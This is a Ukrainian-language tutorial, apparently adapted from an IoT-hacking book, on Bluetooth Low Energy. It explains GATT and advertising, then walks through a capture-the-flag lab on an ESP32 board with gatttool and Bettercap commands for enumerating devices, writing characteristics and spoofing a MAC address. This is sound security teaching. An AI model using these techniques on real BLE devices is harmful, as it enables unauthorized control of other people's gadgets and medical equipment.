Частина 11. Злом радіоканалів. (Bluetooth Low Energy)

13 жовтня 2023 7 хвилин Автор: Lady Liberty

Bluetooth Low Energy (BLE): Вразливості та заходи захисту

Bluetooth Low Energy (BLE) – це версія пристроїв IoT з бездротовою технологією Bluetooth, яка характеризується зниженим енергоспоживанням. Та спрощений процес сполучення в порівнянні з попередніми версіями Bluetooth. Але BLE також може підтримувати аналогічну, а іноді і збільшену дальність зв’язку. Ви можете знайти його в усіх видах пристроїв, від звичайних гаджетів для здоров’я, таких як розумні годинники або розумні пляшки для води, до критично важливого медичного обладнання, такого як інсулінові помпи та кардіостимулятори. У промислових умовах ця технологія використовується в датчиках, вузлах і шлюзах всіх типів. BLE використовується навіть у військовій справі, де компоненти зброї, такі як приціли, працюють дистанційно через Bluetooth. Звичайно, протокол BLE вже зламали.

Ці пристрої використовують Bluetooth, щоб скористатися простотою та надійністю цього радіопротоколу, але це збільшує поверхню атаки пристрою. У цьому розділі ви дізнаєтеся, як працює зв’язок BLE, вивчите поширене апаратне та програмне забезпечення для зв’язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки. Ви пройдете лабораторну роботу за допомогою макетної плати ESP32, а потім виконаєте покрокову вправу Capture the Flag (CTF), розроблену спеціально для BLE. До кінця цього розділу ви будете готові взятися за деякі з лабораторій CTF, які ми навмисно залишили для вас.

Як працює BLE

BLE споживає значно менше енергії, ніж традиційний Bluetooth, але може передавати невеликі обсяги даних дуже ефективно. Сумісний з Bluetooth 4.0, BLE використовує лише 40 каналів, охоплюючи діапазон від 2400 МГц до 2483,5 МГц. На відміну від цього, традиційний Bluetooth використовує 79 каналів у тому ж діапазоні.

Хоча кожна програма використовує цю технологію по-різному, найпоширенішим способом  зв’язку пристроїв BLE є надсилання  рекламного пакета. Ці пакети, також відомі як маяки  , передають інформацію про існування пристрою BLE іншим пристроям, розташованим поблизу (мал. 11.1). Ці маяки також іноді надсилають дані.

Щоб зменшити енергоспоживання, пристрої BLE надсилають інформаційні пакети лише тоді, коли їм потрібно підключитися та обмінятися даними; Решту часу вони перебувають у сплячому режимі. Прослуховуючий пристрій, також відомий як центральний пристрій, може відповісти на інформаційний пакет запитом SCAN, надісланим спеціально для активного пристрою. Відповідь пристрою на запит SCAN має таку ж структуру, як і інформаційний пакет. Він містить додаткову інформацію, яка не могла бути включена до вихідного інформаційного пакету, наприклад повну назву пристрою або будь-яку додаткову інформацію, додану виробником пристрою.

На малюнку 11.2 показана структура BLE-пакета.

Байт преамбули синхронізує частоту, тоді як чотирибайтова адреса доступу — це ідентифікатор підключення, який використовується в сценаріях, коли кілька пристроїв намагаються встановити з’єднання на одних і тих же каналах. Блок даних протоколу (PDU) містить інформаційний пакет. Існує кілька типів БРЖ; Найчастіше зустрічаються ADV_NONCONN_IND і ADV_IND. Пристрої використовують ADV_NONCONN_IND PDU, якщо не приймають вхідні з’єднання, передаючи дані тільки в інформаційному пакеті. Пристрої використовують ADV_IND, якщо вони дозволяють вхідні з’єднання, і припиняють надсилати інформаційні пакети після встановлення з’єднання. Рис. На малюнку 11.3 показаний ADV_IND-пакет, перехоплений Wireshark.

Тип використовуваного пакета залежить від реалізації BLE та вимог проекту. Наприклад, ви знайдете ADV_IND пакети в розумних пристроях IoT, таких як розумні пляшки для води або годинники, оскільки вони намагаються підключитися до центрального пристрою перед виконанням подальших операцій. З іншого боку, в маяках можна знайти ADV_NONCONN_IND пакети для визначення близькості об’єкта до датчиків, встановлених на різних пристроях.

Профіль спільного доступу та профіль спільних атрибутів

Усі пристрої BLE мають  загальний профіль доступу (GAP), який визначає, як вони можуть підключатися, спілкуватися з ними та робити себе видимими через трансляцію. Периферійний пристрій можна підключити лише до одного центрального пристрою, тоді як центральний пристрій може підключатися до такої кількості периферійних пристроїв, скільки може підтримувати центральний пристрій.  Після встановлення з’єднання периферійні пристрої більше не приймають запити на підключення. Для кожного з’єднання периферійний пристрій надсилає рекламні датчики через рівні проміжки часу, використовуючи три різні частоти, доки центральний пристрій не відповість, а периферійний пристрій не підтвердить відповідь, вказуючи на те, що він готовий розпочати з’єднання.

 Загальний профіль атрибутів (GATT) визначає, як пристрій повинен форматувати та передавати дані. Коли ви аналізуєте поверхню атаки пристрою BLE, ви часто зосереджуєте свою увагу на GATT, оскільки він визначає, як запускаються певні функції пристрою та як дані зберігаються, групуються та змінюються. GATT перераховує характеристики, дескриптори та послуги пристрою в таблиці у вигляді 16-бітних або 32-розрядних значень. Характеристика — це значення даних, яке передається між центральним пристроєм і периферійним пристроєм. Ці характеристики можуть мати дескриптори, які надають додаткову інформацію про них. Характеристики часто групують в послуги, якщо вони пов’язані з виконанням конкретної дії. Послуги можуть мати кілька характеристик, як показано на мал. 11.4.

Робота з BLE

У цьому розділі ми розглянемо апаратне та програмне забезпечення, необхідне для взаємодії з пристроями BLE. Ми познайомимо вас з обладнанням, яке можна використовувати для встановлення BLE-з’єднань, а також з програмним забезпеченням для зв’язку з іншими пристроями.

Необхідне обладнання BLE

Для роботи з BLE вам доступний широкий спектр різних пристроїв. Для зручного надсилання та отримання даних може вистачити вбудованих модулів ноутбука або дешевих зовнішніх USB-адаптерів. Але для сніфінгу та злому низькорівневого протоколу вам знадобиться щось більш складне та надійне. Ціни на ці пристрої сильно різняться; Список обладнання для взаємодії з BLE ви знайдете в розділі «Інструменти злому IoT».

У цьому розділі ми будемо використовувати макетну плату ESP32 WROOM від Espressif Systems (https://www.espressif.com/), яка підтримує протоколи Wi-Fi і BLE 2,4 ГГц (мал. 11.5).

Плата має вбудовану флеш-пам’ять, а програмувати та живити її можна за допомогою кабелю micro-USB. Вона дуже компактна і доступна, а радіус дії антени непоганий для її розмірів. Ви також можете використовувати цю карту для інших атак, наприклад, атак на Wi-Fi.

BlueZ

Залежно від пристрою, який ви використовуєте, вам може знадобитися встановити мікропрограму або драйвери, щоб належним чином розпізнавати пристрої та керувати ними. У Linux ви, швидше за все, будете використовувати BlueZ, офіційний стек Bluetooth, хоча існують пропрієтарні драйвери для адаптерів від таких постачальників, як Broadcom або Realtek. Усі інструменти, які ми розглянемо в цьому розділі, працюють з BlueZ з коробки.

Якщо у вас виникли проблеми з BlueZ, встановіть останню версію, доступну за адресою http://www.bluez.org/download/  (можливо, у вас є попередня версія, попередньо встановлена в менеджері пакунків вашого дистрибутива Linux).

Налаштування інтерфейсів BLE

Hciconfig — це інструмент Linux, який можна використовувати для налаштування та тестування з’єднань BLE. Якщо ви запустите Hciconfig без аргументів, ви побачите свій інтерфейс Bluetooth. Стан ВГОРУ або ВНИЗ  вказує на те, чи ввімкнено інтерфейс адаптера Bluetooth:

# hciconfig
hci0: Type: Primary Bus: USB
 BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
 UP RUNNING
 RX bytes:1280 acl:0 sco:0 events:66 errors:0
 TX bytes:3656 acl:0 sco:0 commands:50 errors:0

Якщо інтерфейс не відображається, переконайтеся, що драйвери завантажено. Ім’я модуля ядра в системах Linux має бути bluetooth. Використовуйте  команду modprobe, щоб показати конфігурацію модуля з параметром -c:

# modprobe -c bluetooth

Ви також можете спробувати вимкнути інтерфейс, а потім увімкнути його знову за допомогою наступної команди:

# hciconfig hci0 down && hciconfig hci0 up

Якщо це не допомогло, спробуйте скинути налаштування:

# hciconfig hci0 reset

Ви також можете переглянути більше інформації за допомогою параметра -a:

# hciconfig hci0 -a
hci0: Type: Primary Bus: USB
 BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
 UP RUNNING
 RX bytes:17725 acl:0 sco:0 events:593 errors:0
 TX bytes:805 acl:0 sco:0 commands:72 errors:0
 Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
 Link policy: RSWITCH HOLD SNIFF PARK
 Link mode: SLAVE ACCEPT
 Name: 'CSR8510 A10'
 Class: 0x000000
 Service Classes: Unspecified
 Device Class: Miscellaneous,
 HCI Version: 4.0 (0x6) Revision: 0x22bb
 LMP Version: 4.0 (0x6) Subversion: 0x22bb
 Manufacturer: Cambridge Silicon Radio (10)

Виявлення пристроїв і нумерація функцій

Якщо пристрій IoT з підтримкою BLE не захищений належним чином, ви можете перехоплювати, аналізувати, змінювати та повторно передавати його повідомлення, щоб контролювати роботу пристрою. Загалом, при оцінці безпеки IoT-пристрою за допомогою BLE потрібно наступне:

  1. Знайдіть адресу пристрою BLE.

  2. Проскануйте сервери GATT.

  3. Визначте їх функціональність, використовуючи наступні характеристики, послуги та атрибути.

  4. Керуйте своїм пристроєм за допомогою читання та запису.

Давайте розглянемо реалізацію цих кроків за допомогою двох інструментів: GATTTool і Bettercap.

GATTTool

GATTTool є частиною BlueZ. В основному ви будете використовувати вати його для таких операцій, як встановлення з’єднання з іншим пристроєм, перерахування характеристик цього пристрою, а також читання та запис його атрибутів. Запустіть GATTTool без аргументів, щоб побачити список підтримуваних дій. GATTTool може запускати інтерактивну оболонку з параметром -І. Наступна команда задає інтерфейс адаптера BLE, щоб ви могли підключитися до пристрою та отримати перелік його характеристик:

# gatttool -i hci0 -I

Усередині інтерактивної оболонки введіть  команду connect <mac add ress> щоб встановити з’єднання; потім отримайте список характеристик за допомогою підкоманди «Характеристики»:

[ ][LE]> connect 24:62:AB:B1:A8:3E
Attempting to connect to A4:CF:12:6C:B3:76
Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid:
00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid:
00002a00-0000-1000-8000-00805f9b34fb
…
handle: 0x0055, char properties: 0x02, char value handle: 0x0056, uuid:
0000ff17-0000-1000-8000-00805f9b34fb
[A4:CF:12:6C:B3:76][LE]> exit

Тепер у нас є дескриптори, значення та служби, які описують дані та операції, що підтримуються пристроєм BLE.

Давайте проаналізуємо цю інформацію за допомогою Bettercap, більш потужного інструменту, який допоможе нам побачити інформацію в зручному для читання форматі.

Bettercap

Щоб виявити пристрої з підтримкою BLE, увімкніть модуль BLE і почніть захоплення маяків за допомогою  опції ble.recon. Виклик його з параметром  –eval під час завантаження Bettercap  приймає команди Bettercap і автоматично виконує їх під час роботи Bettercap:

Bettercap  (https://www.bettercap.org/) – інструмент для сканування та атаки на пристрої, що працюють у діапазоні 2,4 ГГц. Він має простий у використанні графічний інтерфейс і розширювані модулі для найпоширеніших завдань сканування та BLE-атак, таких як прослуховування інформаційних пакетів і виконання операцій читання/запису. Крім того, ви можете використовувати його для атак на Wi-Fi, HID та інші технології  (людина посередині або інші).

Bettercap встановлено на Kali за замовчуванням і доступний у більшості менеджерів пакунків Linux. Встановити і запустити його з Docker можна наступним чином:

# docker pull bettercap/bettercap
# docker run -it --privileged --net=host bettercap/bettercap -h

Щоб виявити пристрої з підтримкою BLE, увімкніть модуль BLE і почніть захоплення маяків за допомогою  опції ble.recon. Виклик його з параметром  –eval під час завантаження Bettercap  при:

# bettercap --eval "ble.recon on"
Bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type 'help' for a
list of commands]
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device
BLECTF detected as A4:CF:12:6C:B3:76 -46 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device
BLE_CTF_SCORE detected as 24:62:AB:B1:AB:3E -33 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device
detected as 48:1A:76:61:57:BA (Apple, Inc.) -69 dBm

Ви повинні побачити рядок для кожного отриманого рекламного пакет BLE. Ця інформація містить ім’я пристрою та MAC-адресу, які вам знадобляться для встановлення зв’язку із пристроями. Якщо ви запустили Bettercap з параметром eval, можете автоматично записувати всі виявлені пристрої. Потім командою ble.show ви легко виведете список виявлених пристроїв та супутню інформацію: їх MAC-адреси, постачальників та прапори (мал. 11.6).

>> ble.show

Зверніть увагу, що вихід команди ble.show містить  потужність сигналу (RSSI), MAC-адресу, яку ми будемо використовувати для підключення до пристрою, ім’я виробника, яке може дати підказку про тип пристрою, який нам потрібен. Дані також містять комбінацію підтримуваних протоколів, статус з’єднання та позначку часу останнього отриманого маяка.

Отримайте список функцій, служб і нікнеймів

Після того, як ми визначили MAC-адресу цільового пристрою, ми можемо виконати наступну команду Bettercap. Він виводить гарну, відформатовану таблицю з характеристиками, згрупованими за службами, їхніми властивостями та даними, доступними через GATT:

>> ble.enum <mac addr>

На малюнку 11.7 представлена результуюча таблиця.

У стовпці «Дані»  ви можете побачити, що цей сервер GATT є інформаційною панеллю CTF з різноманітною інформацією, наприклад, інструкціями щодо надсилання відповідей.

Це цікавий спосіб вивчити атаки на практиці. Але перш ніж ми перейдемо до реалізації одного з них, давайте переконаємося, що ви знаєте, як робити класичні читання та записи. Ви будете використовувати їх для пошуку та запису даних, які змінюють стан пристрою. Властивість WRITE підсвічується, коли дескриптори вказують на те, що операція дозволена; Зверніть пильну увагу на налаштування вашого пристрою, оскільки вони часто помилкові.

Характеристика читання та письма

У BLE UUID унікально ідентифікує характеристики, послуги та атрибути. Знаючи UUID характеристик, ви можете записувати в нього дані за допомогою команди ble.write  Bettercap:

>> ble.write <MAC ADDR> <UUID> <HEX DATA>

Усі дані, що надсилаються, мають бути у шістнадцятковому форматі. Наприклад, щоб надіслати слово «привіт» до характеристики з UUID ff06, вам слід ввести таку команду в інтерактивній оболонці Bettercap:

>> ble.write <mac address of device> ff06 68656c6c6f

Ви також можете використовувати GATTTool для читання та запису даних. У GATTTool передбачено підтримку додаткових форматів вхідних даних для визначення обробників або UUID. Наприклад, щоб запустити  команду write  потужністю GATTTool замість Bettercap, введіть:

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charwritereq <characteristic handle> <value>

Давайте потренуємося читати дані за допомогою GATTTool. Витягніть  ім’я пристрою з дескриптора з адресою 0x16 (вона зарезервована протоколом як ім’я пристрою).

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charread
-a 0x16
# gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16
Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62
30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66

Тепер ви можете знаходити пристрої, перераховувати технічні характеристики, а також читати та записувати дані, щоб спробувати змінити функціональність пристрою. Ви готові почати злом BLE.

Злом BLE

У цьому розділі ми розглянемо CTF, розроблений, щоб допомогти вам практикувати злом BLE – BLE CTF Infinity Project (https:// github.com/hackgnar/ble_ctf_infinity/). Використання CTF вимагає як базових, так і просунутих навичок. Цей CTF працює на дошці ESP32 WROOM.

Ми будемо використовувати Bettercap і GATTTool по черзі, тому що іноді один інструмент кращий за інший, коли справа доходить до вирішення певних проблем. Розв’язання практичних задач за допомогою цього CTF навчить вас досліджувати невідомі пристрої, виявляти функціональність та керувати станами цих пристроїв. Перш ніж йти далі, переконайтеся, що ви налаштували середовище розробки та інструментарій для ESP32,  як описано на сторінці https://docs.espressif.com/projects/esp-idf/en/latest/get-started/. Більшість операцій буде виконуватися так, як описано в документації; Деякі нюанси будуть відзначені нижче.

Налаштування BLE CTF Infinity

Для збирання BLE CTF Infinity ми рекомендуємо використовувати Linux, оскільки makefile виконує деякі додаткові дії з копіювання початкового коду (ви можете скористатися файлом CMakeLists.txt, якщо ви надаєте перевагу компіляції у середовищі Windows). Файл, необхідний для компіляції, включений до файлу

Крім того, важливо зазначити, що ця книга доступна за адресою https://nostarch.com/practical-iot-hacking/.

Для успішної компіляції інструменту потрібно зробити наступне.

  1. Створіть порожню теку з назвою main у кореневій теці проєкту.

  2. У команді make Переконайтеся, що ваш пристрій налаштовано, Bluetooth увімкнено, а попередження компілятора не вказують на помилки. Знову ж таки, ви можете знайти файл sdkconfig для збірки в онлайн-ресурсах, які супроводжують книгу.

  3. У запустіть команду make codegen, щоб запустити сценарій Python, який, серед іншого, копіює вихідні файли в основну папку.

  4. Зв’яжіть файл main/flag_scoreboard.c і змініть значення змінної string_total_flags [] с 0 на 00.

Виконайте  команду make для збірки CTF і make flash для запису прошивки на плату. Коли процес завершиться, програма CTF запуститься автоматично.

Після запуску CTF ви повинні побачити маяки, доступні при скануванні. Іншим варіантом є звернення до призначеного послідовного порту (за замовчуванням бітрейт 115200) і перевірка налагоджувальних даних.

…
I (1059) BLE_CTF: create attribute table successfully, the number handle = 31
I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40
I (1069) BLE_CTF: advertising start successfully

Приступаємо до роботи

Знайдіть табло, на якому вказано маніпулятор для надсилання прапорців, маркер для навігації завданнями та ще один маркер для скидання CTF. Далі отримайте список характеристик за допомогою інструменту, якому ви віддаєте перевагу (мал 11.8).

Дескриптор 0030  дозволяє переміщатися по завданнях. Використовуючи Bettercap, запишіть значення 0001 в  цей дескриптор, щоб перейти до прапора під номером 1:

>> ble.write a4:cf:12:6c:b3:76 ff02 0001

Щоб зробити те ж саме з GATTTool, скористайтеся наступною командою:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001

Після того, як ви записали характеристику, ім’я маяка буде вказувати на те, що ви бачите сервер GATT для прапора #1. Наприклад, Bettercap покаже щось на кшталт цього:

[ble.device.new] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm

Це відображення нової таблиці ГАТТ, по одній для кожного завдання. Тепер, коли ви ознайомилися з базовою навігацією, повернімося до основної таблиці:

[a4:cf:12:6c:b3:76][LE]> char-write-req 0x002e 0x1

Почнемо з прапорця #0. Перейдіть до нього, написавши значення 0000 у 0x0030 дескриптор:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Цікаво, що завдання 0 виглядає не що інше, як вихідний сервер ГАТТ, що відображає таблицю (мал. 11.9). Ми щось пропустили?

Якщо придивитися, то ім’я пристрою 04dc54d9053b4307680a дуже схоже на прапорець, чи не так? Давайте перевіримо це, надіславши ім’я пристрою як відповідь  на дескриптор 002e. Примітка: якщо ви використовуєте GATTTool, вам потрібно буде відформатувати його в шістнадцятковому форматі:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"04dc54d9053b4307680a"|xxd -ps)
Characteristic value was written successfully

Коли ви переглядаєте таблицю, ви можете побачити, що команду було запущено, оскільки прапорець 0 відображається як завершений. Ви розв’язали першу проблему. Вітаємо!

Прапорець 1. Вивчення характеристик і дескрипторів

Тепер переходимо до FLAG_01 силою команди:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Тут ми знову почнемо з вивчення таблиці ГАТТ. Давайте спробуємо за допомогою GATTTool перерахувати характеристики та дескриптори:

# gatttool -b a4:cf:12:6c:b3:76 -I
 [a4:cf:12:6c:b3:76][LE]> connect
Bluetooth Low Energy (BLE)  327
Attempting to connect to a4:cf:12:6c:b3:76
Connection successful
[a4:cf:12:6c:b3:76][LE]> primary
attr handle: 0x0001, end grp handle: 0x0005 uuid:
00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0014, end grp handle: 0x001c uuid:
00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-
00805f9b34fb
write-req characteristics
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001
Characteristic value/descriptor: 01 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014
Characteristic value/descriptor: 00 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028
Characteristic value/descriptor: ff 00
 [a4:cf:12:6c:b3:76][LE]> char-desc
handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb
…
handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb

Після вивчення кожного дескриптора ми знаходимо дескриптор 0x002c, який виглядає як прапор. Щоб прочитати значення дескриптора, ми можемо використовувати команду char-read-hnd <handle>, наприклад:

[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c
Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63
39 34 65 31 63

Пам’ятайте, що вихідні дані мають шістнадцятковий формат, тому вони відповідають тексту ASCII 873c6495e4e738c94e1c. Прапор ми знайшли! Поверніться до головної таблиці та надішліть новий прапорець, як ви це робили раніше з прапором 0:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"873c6495e4e738c94e1c"|xxd -ps)
Characteristic value was written successfully

Ми також могли б використовувати bash для  автоматизації виявлення цього прапорця. У цьому випадку ми б перебирали обробники, щоб прочитати значення кожного обробника. Було б легко переписати наступний скрипт у простий фузер, який записує значення замість виконання  операції –char-read:

#!/bin/bash
for i in {1..46}
do
 VARX=`printf '%04x\n' $i`
 echo "Reading handle: $VARX"
 gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX
 sleep 5
done

Коли ми запускаємо скрипт, нам потрібно отримати інформацію з дескрипторів:

Reading handle: 0001
Characteristic value/descriptor: 01 18
Reading handle: 0002
Characteristic value/descriptor: 20 03 00 05 2a
…
Reading handle: 002e
Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67
6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64

Прапор 2. Автентифікація

Коли ви дивитеся на таблицю FLAG_02 GATT, то на 0x002c дескрипторі повинно з’явитися повідомлення «Недостатня аутентифікація», а також повідомлення «З’єднатися  з pin 0000»  на 0x002a маніпуляторі (рис. 11.10). Це завдання імітує пристрій зі слабким контактом, який використовується для автентифікації.

Підказка має на увазі, що нам потрібно встановити безпечне з’єднання, щоб прочитати захищений дескриптор 0x002c. Для цього ми використовуємо GATTTool  з параметром –sec-level = high, який встановлює високий рівень безпеки з’єднання та встановлює автентифіковане зашифроване з’єднання (AESCMAC або ECDHE) перед читанням значення:

# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63
30 61 39 38 64

Це круто! Цього разу, після перетворення з шістнадцяткового в ASCII, замість повідомлення «Недостатня аутентифікація» ми отримуємо прапор 5d696cdf53a916c0a98d. Поверніться до головної таблиці та завантажте її, як показано раніше:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"5d696cdf53a916c0a98d"|xxd -ps)
Characteristic value was written successfully

Як бачите, прапор правильний! Ми розв’язали задачу No2.

Прапор 3. Підміна вашої MAC-адреси

Перейдіть до FLAG_03 та отримайте список послуг та характеристик на сервері GATT. У рядку 0x002a є повідомлення «З’єднатися з mac 11:22:33:44:55:66» (рис. 11.11). Тепер перед нами стоїть завдання навчитися підробляти оригінальний MAC-адреса з’єднання, щоб прочитати дескриптор.

Це означає, що ми повинні підробити справжню MAC-адресу Bluetooth, щоб отримати прапор. Можна використовувати Hciconfig для виконання команд, які змінять ваш  MAC, однак утиліта spooftooph Linux  набагато простіша у використанні, оскільки вона не вимагає надсилання необроблених команд. Встановіть утиліту за допомогою вашого улюбленого менеджера пакетів і виконайте наступну команду, щоб замінити MAC-адресу адресою, вказаною в повідомленні:

# spooftooph -i hci0 -a 11:22:33:44:55:66
Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:13
New BD address: 11:22:33:44:55:66
Address changed

Перевірте свою нову підроблену MAC-адресу за допомогою hciconfig:

# hciconfig
hci0: Type: Primary Bus: USB
 BD Address: 11:22:33:44:55:66 ACL MTU: 310:10 SCO MTU: 64:8
 UP RUNNING
 RX bytes:682 acl:0 sco:0 events:48 errors:0
 TX bytes:3408 acl:0 sco:0 commands:48 errors:0

За допомогою команди Bettercap ble.enum ще раз погляньте на сервер GATT для цього завдання. На цей раз в рядку 0x002c повинен з’явитися новий прапорець (малс. 11.12).

Поверніться до головної таблиці та надішліть новий прапорець:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"0ad3f30c58e0a47b8afb"|xxd -ps)
Characteristic value was written successfully

Потім звіряємося з таблицею, щоб побачити оновлений результат (мал. 11.13).

Висновок

Ми сподіваємося, що після цього короткого обговорення атаки BLE надихнули вас на подальші виклики CTF. Вони представляють реальні проблеми, які вам доведеться вирішувати щодня при оцінці пристроїв з підтримкою BLE. Ми показали основні поняття та деякі з найпопулярніших атак, але майте на увазі, що ви можете виконувати й інші атаки, такі як атаки типу “людина посередині”, якщо пристрій не використовує безпечне з’єднання.

В даний час відомо багато специфічних вразливостей для кожного нового додатка або протоколу, що використовує BLE, і є ймовірність, що програміст припустився помилки, яка призвела до помилки безпеки в їх реалізації. Незважаючи на те, що зараз доступна нова версія Bluetooth (5.0), її впровадження було повільним, тому в найближчі роки ви зустрінете набагато більше пристроїв BLE.

Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things , яку  написали Фотиос Чанцис, Иоаннис Стаис,
Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.

Інші статті по темі
Для початківцівОсвіта
Читати далі
Частина 3. Загрози у світі речей інтернету (Методологія тестування безпеки)
В нашій частині ми докладно розберемося з основними загрозами, які можуть трапитися у світі IoT. Від вразливостей в програмному забезпеченні до фізичного доступу до пристроїв.
1071
Для початківцівОсвіта
Читати далі
Частина 6. Злом мережі. (Використання мережі з нульовою конфігурацією)
Використання мережі з нульовою конфігурацією: дізнайтеся, як ефективно налаштувати та захистити вашу мережеву систему без ручних налаштувань. Поглибіть свої знання в мережевих технологіях з нашим керівництвом.
1333
Для початківцівОсвіта
Читати далі
Частина 8. Злом апаратної частини системи. (SPI та I2C)
Ми дослідимо, як ці протоколи можуть бути використані для вилучення даних з мікроконтролерів та периферійних пристроїв, а також для впливу на їхню роботу. Основний акцент буде зроблено на практичних прикладах використання SPI та I2C для розуміння та підвищення безпеки систем IoT.
1184
Для початківцівОсвіта
Читати далі
Частина 12. Злом радіоканалів. (Радіоканали середнього радіусу дії злом Wi-Fi)
В розділі, присвяченому технології Wi-Fi в контексті пристроїв Інтернету речей (IoT), ми дослідимо основи функціонування Wi-Fi, а також вивчимо деякі з основних атак, які можуть бути спрямовані на бездротові мережі.
1630
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.